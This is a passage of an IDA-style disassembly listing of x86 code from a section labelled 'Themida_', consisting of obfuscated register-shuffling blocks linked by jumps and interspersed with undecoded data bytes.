		dd 792D2FB9h, 0E949416Bh, 19CCh, 24048966h, 0FFCEB7E9h
		dd 24048BFFh, 4C481h, 89520000h, 4C281E2h, 83000000h, 54E904EAh
		dd 890000C4h, 22FA68E5h, 1C890000h, 4BB24h, 0E9570000h
		dd 51E7h
; ---------------------------------------------------------------------------


loc_558E3C:				; CODE XREF: Themida_:00563672j
		mov	[esp], edi
		mov	edi, 63567291h
		xor	esi, edi
		pop	edi
		xor	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_55C9B9
; ---------------------------------------------------------------------------
aRpsi_		db 'RPéë.',0
		dd 99686600h, 4896606h,	0CE4EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558E76:				; CODE XREF: Themida_:00563381j
		add	edx, 44521DF4h
		add	edx, ecx
		sub	edx, 44521DF4h
		add	dword ptr [edx], 1
		mov	edx, [esp]
		jmp	loc_56696B
; ---------------------------------------------------------------------------


loc_558E92:				; CODE XREF: Themida_:005581C4j
		add	[esp+4], eax
		sub	dword ptr [esp+4], 6E191D03h
		pop	eax
		push	ecx
		push	ebp
		mov	ebp, 2F3D5507h
		inc	ebp
		or	ebp, 19213ACCh
		dec	ebp
		not	ebp
		sub	ebp, 5BAE2C64h
		mov	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 8040323h
		add	[esp+4], esi
		jmp	loc_566647
; ---------------------------------------------------------------------------


loc_558EDD:				; CODE XREF: Themida_:0055C6DDj
		push	ebp
		jmp	loc_5563AD
; ---------------------------------------------------------------------------


loc_558EE3:				; CODE XREF: Themida_:0055F382j
		add	esp, 4
		xor	eax, edx
		jmp	loc_558F2D
; ---------------------------------------------------------------------------
		dd 0C8BCB29h, 8B545624h, 0C4812434h, 4,	4C681h,	7FE90000h
		dd 10000DEh, 0C5815BDDh, 4, 5C242C87h, 79B3E9h,	242C8B00h
		dd 11C44E9h
		db 0
; ---------------------------------------------------------------------------


loc_558F25:				; CODE XREF: Themida_:0056B062j
		xor	[ecx], esi
		pop	ecx
		jmp	loc_55608A
; ---------------------------------------------------------------------------


loc_558F2D:				; CODE XREF: Themida_:00558EEBj
		pop	edx
		push	eax
		add	dword ptr [esp], 3F81511Fh
		mov	edi, [esp]
		jmp	loc_561F90
; ---------------------------------------------------------------------------


loc_558F3E:				; CODE XREF: Themida_:0055B432j
		pop	ebx
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		jmp	loc_55FEBE
; ---------------------------------------------------------------------------


loc_558F4A:				; CODE XREF: Themida_:00568559j
		xor	eax, esi
		pop	esi
		add	edi, eax
		pop	eax
		jmp	loc_564D2E
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 1Ch
		dd 65E99C24h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_558F5F:				; CODE XREF: Themida_:0056815Fj
		add	esp, 4
		pop	esi
		jmp	loc_568F85
; ---------------------------------------------------------------------------
		db 0BAh
		align 10h
		dd 8151C201h, 76BC2404h, 28F09ACh, 5E1DBB53h, 0F38113BEh
		dd 1A1228A1h, 0FF5B1A29h, 685A2434h, 0B1Ah, 89241C89h
		dd 4C381E3h, 83000000h,	3E904ECh, 5A000095h, 81240C8Bh
		dd 4C4h, 3DE16800h, 39E90000h
		db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_558FBB:				; CODE XREF: Themida_:005658CCj
		mov	esp, [esp]
		jmp	loc_56786D
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FFED6CE9h, 2FDBB9FFh, 0F929DB63h, 0FF5EE95Fh, 515E0000h
		dd 4B9h, 59C82900h, 5C240487h, 0BA241489h, 28h,	15AD089h
		dd 0B3FCE9F8h, 0C6810000h, 1432198Ch, 0EBE5655h, 8340275Bh
		dd 0EE81FFC6h, 4C0C7FE9h, 8105EEC1h, 7E5F30EEh,	6BBD5507h
		dd 15C12BAh, 8B565DEEh,	0C483242Ch, 0EDC15E04h,	81D5F702h
		dd 5B9E11C5h, 0EAC6813Fh, 525B354Bh, 5F24BE56h,	0F2893A07h
		dd 80F0E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559046:				; CODE XREF: Themida_:00563DEAj
		mov	edi, 7E4224A1h
		sub	edx, edi
		pop	edi
		push	eax
		jmp	loc_56AED9
; ---------------------------------------------------------------------------
aISG		db '‰,$é+G',0
		align 4
		dd 5B73E981h, 835A7817h, 0C8704C1h, 0AFBEE924h,	14870000h
		dd 4335C24h, 24043124h,	0FFE456E9h, 2434FFFFh, 4EC8159h
		dd 89000000h, 36E9242Ch
		db 10h,	1, 0
; ---------------------------------------------------------------------------


loc_55908F:				; CODE XREF: Themida_:005582D3j
		xor	ebp, esi
		jmp	loc_55BF0C
; ---------------------------------------------------------------------------


loc_559096:				; CODE XREF: Themida_:00569F6Fj
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		mov	esi, 0B300F57h
		dec	esi
		jmp	loc_55B5AB
; ---------------------------------------------------------------------------
		db 68h
		dd 2EBC5B4Eh, 7E7C15Fh,	87CF781h, 0EF8123E4h, 0B48A149h
		dd 2AE9FB89h, 0B8000088h, 38DA6C83h, 0F018E9h
		db 0
; ---------------------------------------------------------------------------


loc_5590CD:				; CODE XREF: Themida_:0055F06Aj
		push	ebp
		push	edx
		jmp	loc_55B6C9
; ---------------------------------------------------------------------------
		dd 6E68BE56h, 0F229116Fh, 0C441E95Eh, 37BE0000h, 0C162A264h
		dd 0F68107EEh, 0FA929111h, 0FFF870E9h, 0C3895DFFh, 5BD92958h
		dd 0E907E1C1h, 10196h, 0E9243C87h, 117F0h, 8904EC83h, 0CBB82404h
		dd 507DB15h, 52681A29h,	0A11E953h, 8F5C0000h, 248B2404h
		dd 36BCE924h, 91E90000h, 0ADFFFFCBh
		db 31h,	0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_568FAC
; ---------------------------------------------------------------------------


loc_55913E:				; CODE XREF: Themida_:00559CA5j
		pop	esp
		add	eax, 4
		jmp	loc_564A2A
; ---------------------------------------------------------------------------


loc_559149:				; CODE XREF: Themida_:0056157Fj
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 3ACF7E71h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55D822
; ---------------------------------------------------------------------------
		dw 7568h
		dd 8900003Fh, 88502414h, 58C288E8h, 0C043E9h, 88FE8800h
		dd 665B5AF1h, 26C98058h, 0C180C1FEh, 23EA809Ch,	0C280CA28h
		dd 4CE95923h, 0C00000E5h, 0C8E903E2h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559197:				; CODE XREF: Themida_:0055FCC2j
		add	eax, ecx
		pop	ecx
		pop	ecx
		push	63Dh
		jmp	loc_55825D
; ---------------------------------------------------------------------------


loc_5591A5:				; CODE XREF: Themida_:0055A698j
		push	edx
		mov	edx, 6E3B426Bh
		or	eax, edx
		pop	edx
		xor	eax, 1CE81511h
		mov	edi, eax
		jmp	loc_55D8F8
; ---------------------------------------------------------------------------


loc_5591BA:				; CODE XREF: Themida_:00558133j
		push	8E5h
		jmp	loc_55C62B
; ---------------------------------------------------------------------------


loc_5591C4:				; CODE XREF: Themida_:0056AAE0j
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_562727
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 50FA5955h, 60E9C829h, 89000102h, 0E189240Ch,	4B850h
		dd 0C1010000h, 0E924048Bh, 0FFFFDEB5h, 2C481h, 63680000h
		dd 8900005Ah, 8350240Ch, 148904ECh, 2DABE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559212:				; CODE XREF: Themida_:0055E8BEj
		sub	di, si
		pop	si
		sub	ax, di
		pop	edi
		pop	bx
		mov	bx, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	58DFh
		mov	[esp], ebx
		mov	ebx, 0D061A27h
		add	ebx, 7F5F1A64h
		xor	ebx, 622C0478h
		xor	ebx, 27FE04BAh
		sub	ebx, 0C9B73445h
		add	ebp, ebx
		jmp	loc_55D87F
; ---------------------------------------------------------------------------
		dd 5A2434FFh, 2F58E9h, 97680500h, 0C731E2E3h, 0E9F90158h
		dd 0B287h, 42Dh, 24048700h, 0DC0FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559276:				; CODE XREF: Themida_:00569376j
		mov	bh, ch
		jmp	loc_56163B
; ---------------------------------------------------------------------------
		db 0BDh, 54h, 48h
		dd 0AD686EFFh, 8900001Dh, 54BE2434h, 0E92A292Eh, 0D5BEh
; ---------------------------------------------------------------------------


loc_559294:				; CODE XREF: Themida_:00567666j
		dec	eax
		jmp	loc_5622D9
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 0F9B2C549h, 0E958C689h, 5EA8h, 0E904C483h, 6672h, 6C0E685Bh
		dd 0C890000h, 53505324h, 0D888DEB3h, 0CD61E9h, 5DE90100h
		dd 0DF9AE9h, 2E6C000h, 0D6F6C6FEh, 0F641F680h, 0B55166D6h
		dd 0ADC68089h, 0EC83EE00h, 240C8904h, 0B25251B5h, 60F28097h
		dd 65C280h, 9618E9D5h, 0EF810000h, 0F5511CC0h, 4D5FFD21h
		dd 3B74C581h, 0EB013FA1h, 40BEE9h, 3A7EB800h, 4481299Ch
		dd 28F20824h, 56E941C9h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559323:				; CODE XREF: Themida_:00562FC5j
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566B2A
; ---------------------------------------------------------------------------
		db 59h
		dd 4C181h, 0BB530000h, 5A82A2Bh, 0FD9CE956h, 7268FFFFh
		dd 8900000Ch, 0FBE9240Ch
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559353:				; CODE XREF: Themida_:00557EB7j
		push	eax
		mov	ah, bh
		jmp	loc_5605F8
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF572414h, 752216D9h, 0EF81DFF7h, 54230595h, 35E2E781h
		dd 0C7815704h, 35E115E5h, 574CE9h, 2C815700h, 9A4B2424h
		dd 0C2815A2Ch, 2C9A4B24h, 2454015Fh, 2434FF08h,	4C4815Ah
		dd 81000000h, 0E042444h, 16CA97Ah, 8104245Ch, 0E04246Ch
		dd 816CA97Ah, 4304246Ch, 5B4C4822h, 4C5815Dh, 50000000h
		dd 2B8h, 58C50100h, 0E9242C33h,	8AAEh, 0B9240C89h, 56B278BBh
		dd 0C8BCD09h, 4C48124h,	57000000h, 0FF6D60BFh, 5FFD2111h
		dd 2EC7E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5593F2:				; CODE XREF: Themida_:005688ADj
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		jmp	loc_562D98
; ---------------------------------------------------------------------------
		dd 5BC1C581h, 0BB53716Ch, 7D034352h, 1C8BDD21h,	668FE924h
		dd 85BE0000h, 53781302h, 6A08E9h, 0C4815D00h, 4, 88EEE955h
		dd 14870000h, 0F47DE924h, 0BF57FFFFh, 31127C07h, 48A9E9h
		dd 0E8896600h, 0E9C38966h, 577Ah, 10E9D829h, 89000064h
		dd 405E0h, 4050000h, 87000000h,	59E92404h, 51FFFFEEh, 0A458A4B9h
		dd 0E9534942h, 3EE0h
; ---------------------------------------------------------------------------


loc_559480:				; CODE XREF: Themida_:005608ACj
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55E2A2
; ---------------------------------------------------------------------------


loc_559491:				; CODE XREF: Themida_:0056134Cj
					; Themida_:005687F8j
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, ebx
		mov	ebp, eax
		jmp	loc_561759
; ---------------------------------------------------------------------------
aFnhQ		db 'f­h#q',0
		dw 8900h
		dd 55662414h, 42AE6866h, 0E6A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5594B9:				; CODE XREF: Themida_:0055A9C9j
		not	dword ptr [esp]
		jmp	loc_561AEC
; ---------------------------------------------------------------------------
aSs		db '[éá±',0
		db 0
; ---------------------------------------------------------------------------


loc_5594C7:				; CODE XREF: Themida_:005572DAj
		pop	esi
		push	ecx
		mov	ecx, 0E09711Eh
		add	edx, ecx
		pop	ecx
		add	edx, eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_567961
; ---------------------------------------------------------------------------
		dw 0D531h
		dd 6DC5815Ah, 0E9FDD9E2h, 0FFFFE268h, 2504F7BDh, 7ACD8169h
		dd 68416E3Bh, 0
		dd 5D242C29h, 5BFCE9h
		db 0
; ---------------------------------------------------------------------------


loc_559515:				; CODE XREF: Themida_:0055CC78j
		neg	ebx
		neg	ebx
		sub	ebx, 568C1E0Fh
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		jmp	loc_5652AA
; ---------------------------------------------------------------------------
		db 0C0h, 0E9h, 8
		dd 0E9D0C1FEh, 0F604E9C0h, 0C4C180D1h, 5966CB00h, 0CC68C328h
		dd 0E9000077h, 291Fh, 0E6F8E961h, 0C7830000h, 1AD8E904h
		dd 48B0000h, 4C48324h, 3144FC35h, 24148B22h, 0FFC97FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559581:				; CODE XREF: Themida_:0056163Ej
		xor	ch, bh
		jmp	loc_559684
; ---------------------------------------------------------------------------
		dd 8106EFC1h, 0FFFFFFC7h, 0DA8FE9FFh, 49BAFFFFh, 29CB6B80h
		dd 8C24E9C2h, 0F2010000h, 445FEA81h, 0C2817FEAh, 36F02665h
		dd 0A236E951h, 0E1810000h, 3AC37C8Eh, 6633E981h, 0F1817C7Ah
		dd 93DEF367h, 0F759CD29h, 500DE9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5595D2:				; CODE XREF: Themida_:00567D0Cj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		pop	edx
		push	esi
		mov	esi, 63F0E05h
		xor	edx, esi
		pop	esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_555E3D
; ---------------------------------------------------------------------------
		db 0BDh, 0Bh, 2Dh
		dd 0BB5369E2h, 39741B51h, 815BDD29h, 0CB6B9BC5h, 7C5817Eh
		dd 813F8F47h, 0AB7B0FC5h, 0A3F58102h, 31021B39h, 0E9815DE9h
		dd 582F2294h, 1A21C181h, 0F2E91A32h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_559633:				; CODE XREF: Themida_:0055AB50j
		add	ecx, esi
		jmp	loc_5685B9
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 0A6B29F5h, 1623E9h, 0B87E6800h, 2D599263h, 3439188Fh
		dd 0B03D0B05h, 68C82967h, 54D9h, 56241489h, 6D2BBDBEh
		dd 3A48BA18h, 0F23140EFh, 1C2815Eh, 81000000h, 0FE74F9CAh
		dd 0CC28130h, 0E9EEB1C7h, 0A67Bh
; ---------------------------------------------------------------------------


loc_559684:				; CODE XREF: Themida_:00559583j
		pop	ebx
		xor	al, ch
		jmp	loc_561198
; ---------------------------------------------------------------------------


loc_55968C:				; CODE XREF: Themida_:00568E75j
		add	esp, 4
		add	ebp, eax
		pop	eax
		jmp	loc_55AFD6
; ---------------------------------------------------------------------------
aFiSzs		db 'f‰<$é‡s',0
		dw 0AC00h
		dd 291E68h, 42AEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5596AE:				; CODE XREF: Themida_:0055E524j
		xchg	edx, [esp]
		pop	ecx
		push	0DB5h
		mov	[esp], eax
		mov	eax, 490E523Bh
		jmp	loc_5621B5
; ---------------------------------------------------------------------------
		dd 5C241C33h, 0E9240C89h, 0FFFFC5F4h
; ---------------------------------------------------------------------------


loc_5596D0:				; CODE XREF: Themida_:00560A4Aj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	1699h
		mov	[esp], edi
		jmp	loc_55C607
; ---------------------------------------------------------------------------


loc_5596F0:				; CODE XREF: Themida_:005664C3j
		xor	esi, ecx
		pop	ecx
		add	ebx, esi
		pop	esi
		jmp	loc_5667F2
; ---------------------------------------------------------------------------


loc_5596FB:				; CODE XREF: Themida_:0056196Cj
		push	190Eh
		mov	[esp], edx
		push	eax
		push	620C5444h
		pop	eax
		sub	eax, 0EA303C2Dh
		mov	edx, eax
		jmp	loc_558132
; ---------------------------------------------------------------------------
		dw 1C89h
aHp		db '$hp&',0
		align 2
		dw 489h
aSs7u		db '$Sé7î',0
		db 0
; ---------------------------------------------------------------------------


loc_559727:				; CODE XREF: Themida_:00569958j
		mov	esi, 2CB13889h
		mov	edi, esi
		mov	esi, [esp]
		jmp	loc_564A74
; ---------------------------------------------------------------------------


loc_559736:				; CODE XREF: Themida_:00565EEAj
		push	67B35A07h
		pop	ebp
		mov	edi, 67B35A06h
		xor	edi, ebp
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_565D0B
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 51000000h,	42474FFh, 2F3AE959h, 0C3810000h
		dd 4, 5C241C87h, 8B24048Fh, 4DE92424h, 81FFFFC5h, 244EC2h
		dd 63BEE91Fh, 4830000h,	68580424h, 820h, 0B9240C89h, 5001441Ch
		dd 3E4EC181h, 0E981508Ch, 786C570Bh, 0C1FFC183h, 0E1C108E1h
		dd 0C4BA5202h, 2148E530h, 0E1815AD1h, 51E961DBh, 0DCE95052h
		dd 0B6000088h, 66F33090h, 8BDA085Ah, 8956241Ch,	352DE9E6h
		dd 0EDE90000h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5597D7:				; CODE XREF: Themida_:00557D94j
		neg	ebp
		sub	ebp, 23F48F92h
		add	eax, ebp
		pop	ebp
		sub	eax, 2C73731Bh
		sub	eax, 45941785h
		add	eax, edi
		jmp	loc_56496E
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 0E9000000h, 0F14Bh, 339ABBBAh, 0FFD1290Bh
		dd 575A2434h, 0C781E789h, 4, 4C781h, 1AE90000h,	31FFFFD8h
		dd 14332414h, 0B9515C24h, 4, 47D0C381h,	0CB012A22h, 47D0EB81h
		dd 0E9592A22h, 9225h
; ---------------------------------------------------------------------------


loc_559840:				; CODE XREF: Themida_:00562DA5j
		push	edx
		jmp	loc_556C30
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 102FEE9h, 240C8900h, 2BD55h, 0E9890000h, 4BC3815Dh
		dd 15E9C7Dh, 4BEB81CBh,	595E9C7Dh, 31241C33h, 1C33241Ch
		dd 24248B24h, 9C240428h, 0FFC443E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559881:				; CODE XREF: Themida_:00555F68j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	449Ch
		jmp	loc_558900
; ---------------------------------------------------------------------------
		dw 525Eh
		dd 651CD3BAh, 0A922E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5598A2:				; CODE XREF: Themida_:0055811Aj
		add	ecx, 3A391144h
		add	ecx, 706DC16Fh
		jmp	loc_569AB7
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 815BDF01h, 4EFh, 243C3300h, 33243C31h, 895C243Ch
		dd 0E589242Ch, 0CE3DE957h, 0E95AFFFFh, 1AD5h, 8124248Bh
		dd 4C4h, 2434FF00h, 405EE9h, 17876800h,	815D4268h, 382978E5h
		dd 0DFC5814Bh, 89AB83DEh, 0CB295DE9h, 5BDD0159h, 5504ED83h
		dd 42474FFh, 24048F5Dh,	4911E95Ch, 0E9580000h, 0D9B5h
; ---------------------------------------------------------------------------


loc_559920:				; CODE XREF: Themida_:00559D16j
		sub	[esp+4], ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56615E
; ---------------------------------------------------------------------------


loc_559935:				; CODE XREF: Themida_:00565172j
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		jmp	loc_55B6BD
; ---------------------------------------------------------------------------
aSu_0		db '[é“)',0
		db 0
; ---------------------------------------------------------------------------


loc_559947:				; CODE XREF: Themida_:0056A13Fj
		and	bl, dl
		jmp	loc_55CD91
; ---------------------------------------------------------------------------
		dw 8F5Ah
		dd 248B2404h, 0DEF28024h, 208CF280h, 2434FFD0h,	0E924148Bh
		dd 0FFFFD42Bh
; ---------------------------------------------------------------------------


loc_559968:				; CODE XREF: Themida_:00555CD0j
		mov	bl, 0Ch
		mov	dh, bl
		pop	ebx
		add	al, 0AFh
		sub	al, dh
		jmp	loc_5679B1
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 0E924048Bh, 6B05h, 0F88E981h, 0F3E934E4h
		dd 0FF00003Ch, 0F5E92434h, 5900009Ch, 5302EBC1h, 5B2414F7h
		dd 11528E9h, 7F83AD00h,	840F0020h, 7895h, 0AD26E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5599BA:				; CODE XREF: Themida_:005629D3j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esi, 1
		jmp	loc_55B852
; ---------------------------------------------------------------------------


loc_5599CF:				; CODE XREF: Themida_:0056447Aj
		push	ax
		pushf
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 0Dh
		dd 4E3D3A5Ch, 72E9D0F7h, 1000085h, 0CC44E9EFh, 4BBFFFFFh
		dd 8147E052h, 0E05247EFh, 5FF90147h, 5C240C87h,	8A5EE9h
		dd 241C8B00h, 8F04C483h, 248B2404h, 0B30F6624h,	0E99C2404h
		dd 0D05Eh
; ---------------------------------------------------------------------------


loc_559A18:				; CODE XREF: Themida_:00568270j
		mov	[esp], edx
		mov	edx, 0DF7577Ah
		jmp	loc_560C3D
; ---------------------------------------------------------------------------
		db 5, 0EBh, 45h
		dd 0A5E91AEFh
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559A2F:				; CODE XREF: Themida_:005564C3j
		pop	esi
		neg	ebp
		add	ebp, 6F8A4338h
		add	ebp, 2BF6642Ch
		sub	ebp, 68E6BD32h
		sub	ecx, ebp
		pop	ebp
		add	ebx, 732536CBh
		sub	ebx, 3AF166D7h
		add	ebx, 6AB77D94h
		add	ebx, ecx
		sub	ebx, 6AB77D94h
		add	ebx, 3AF166D7h
		sub	ebx, 732536CBh
		pop	ecx
		sub	ebx, eax
		sub	ebx, offset byte_530DEF
		push	4D59h
		mov	[esp], eax
		push	edx
		jmp	loc_56994F
; ---------------------------------------------------------------------------


loc_559A84:				; CODE XREF: Themida_:0055DAD6j
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_55BC04
; ---------------------------------------------------------------------------


loc_559A8F:				; CODE XREF: Themida_:00564683j
		sub	eax, 4F191C27h
		xchg	eax, ebx
		dec	ebx
		jmp	loc_55DAA7
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8104C483h, 0A50B7EAh, 0F7EF8162h, 2945CD4Fh,	0F7C781D7h
		dd 8B45CD4Fh, 0C4832414h, 9BE9C304h, 31FFFFCCh,	59E6E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559AC6:				; CODE XREF: Themida_:00563E35j
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 6981767h
		add	esi, 0F967E89Dh
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562827
; ---------------------------------------------------------------------------
		dw 685Fh
		dd 370Ch, 0E9241C89h, 0FFFFC50Ah, 424748Ah, 4245C88h, 0BA2E9h
		db 0
; ---------------------------------------------------------------------------


loc_559B05:				; CODE XREF: Themida_:00562D2Aj
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ebp
		jmp	loc_556A99
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835A24h, 24343304h, 33243431h, 815C2434h,	0BC413042h
		dd 2DE90808h, 51FFFFFAh, 0A3F290B9h, 0E9CB89DFh, 5Ch, 0BBF2F581h
		dd 71E9000Bh, 0E9000042h, 0FFFFC174h
; ---------------------------------------------------------------------------


loc_559B50:				; CODE XREF: Themida_:0056B098j
		pop	edi
		push	7609h
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		push	4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55E2D1
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 3304C283h, 9CE92414h,	89FFFFFCh, 4C681E6h
		dd 55000000h, 6D119EBDh, 0AEC5817Fh, 0E9289E08h, 0B435h
		dd 233E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559BA2:				; CODE XREF: Themida_:0055AD3Cj
		xor	eax, ebx
		pop	ebx
		jmp	loc_556BE1
; ---------------------------------------------------------------------------
		dw 565Bh
		dd 0CF3595BEh, 6FC68160h, 19F30CAh, 2434FFF3h, 0DE2EE9h
		db 0
; ---------------------------------------------------------------------------


loc_559BC1:				; CODE XREF: Themida_:0055E548j
		push	ebp
		not	dword ptr [esp]
		jmp	loc_56A825
; ---------------------------------------------------------------------------


loc_559BCA:				; CODE XREF: Themida_:0055FC30j
		mov	edi, [esp]
		add	esp, 4
		push	67A8h
		mov	[esp], esi
		jmp	loc_56A314
; ---------------------------------------------------------------------------


loc_559BE0:				; CODE XREF: Themida_:005610A7j
		dec	dword ptr [esp]
		pop	esi
		add	esi, 6F716F2Bh
		neg	esi
		add	esi, 13BA1B2Bh
		not	esi
		sub	esi, 935DCA6Dh
		push	edi
		mov	edi, 70B43BBAh
		jmp	loc_55BF22
; ---------------------------------------------------------------------------


loc_559C05:				; CODE XREF: Themida_:0055DB4Ej
		and	ecx, 1132031Ch
		add	ecx, 9FC0DD0Eh
		mov	edi, ecx
		pop	ecx
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edi, edx
		pop	edx
		sub	edx, 3758686Dh
		add	edx, edi
		add	edx, 3758686Dh
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 506367E3h
		mov	eax, 0AF9C9841h
		add	eax, 779E42C8h
		add	eax, ebx
		jmp	loc_564920
; ---------------------------------------------------------------------------
		db 89h
		dd 92682404h, 8900000Ah, 4812424h, 424h, 7999E900h, 0EF010000h
		dd 0AFE9575Dh, 560000AAh, 4BEh,	0B0A4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559C96:				; CODE XREF: Themida_:0056628Dj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_55913E
; ---------------------------------------------------------------------------


loc_559CAA:				; CODE XREF: Themida_:0055B4BBj
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_55BDAC
; ---------------------------------------------------------------------------


loc_559CB5:				; CODE XREF: Themida_:0056ACECj
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 0FFFFFFBEh
		and	ecx, esi
		jmp	loc_55A038
; ---------------------------------------------------------------------------
		db 5Ch
		dd 48BC321h, 0BF65E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559CD6:				; CODE XREF: Themida_:00569A7Fj
		push	eax
		jmp	loc_5587EF
; ---------------------------------------------------------------------------


loc_559CDC:				; CODE XREF: Themida_:00568378j
		mov	eax, [esp]
		add	esp, 4
		xor	ax, bx
		mov	bx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56A5BC
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 8AA0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559D02:				; CODE XREF: Themida_:0055F459j
		add	ebx, ebp
		pop	ebp
		jmp	loc_56584A
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9522404h, 0D388h
; ---------------------------------------------------------------------------


loc_559D14:				; CODE XREF: Themida_:005697D1j
		pop	edi
		pop	edi
		jmp	loc_559920
; ---------------------------------------------------------------------------
aBquSA		db 'ïu{ ',0Bh,'é',0Ah
		db 'A',0
		align 2
		dw 3C87h
		dd 0E9E95C24h, 8BFFFFE9h, 0C4812404h, 4, 405h, 4E88300h
		dd 2474FF50h, 48F5804h,	24248B24h, 56240C89h, 25B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_559D55:				; CODE XREF: Themida_:0055F239j
		xchg	ebx, [esp]
		jmp	loc_567412
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 2Dh
		dd 365122D8h, 24043359h, 33240431h, 248B2404h, 24148924h
		dd 2D7FE9h, 0D7E95C00h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559D7F:				; CODE XREF: Themida_:00564969j
		mov	eax, 7A765BC2h
		mov	edx, 0C6478DD9h
		add	edx, eax
		pop	eax
		add	edx, eax
		pop	eax
		mov	edi, 0CE7A1201h
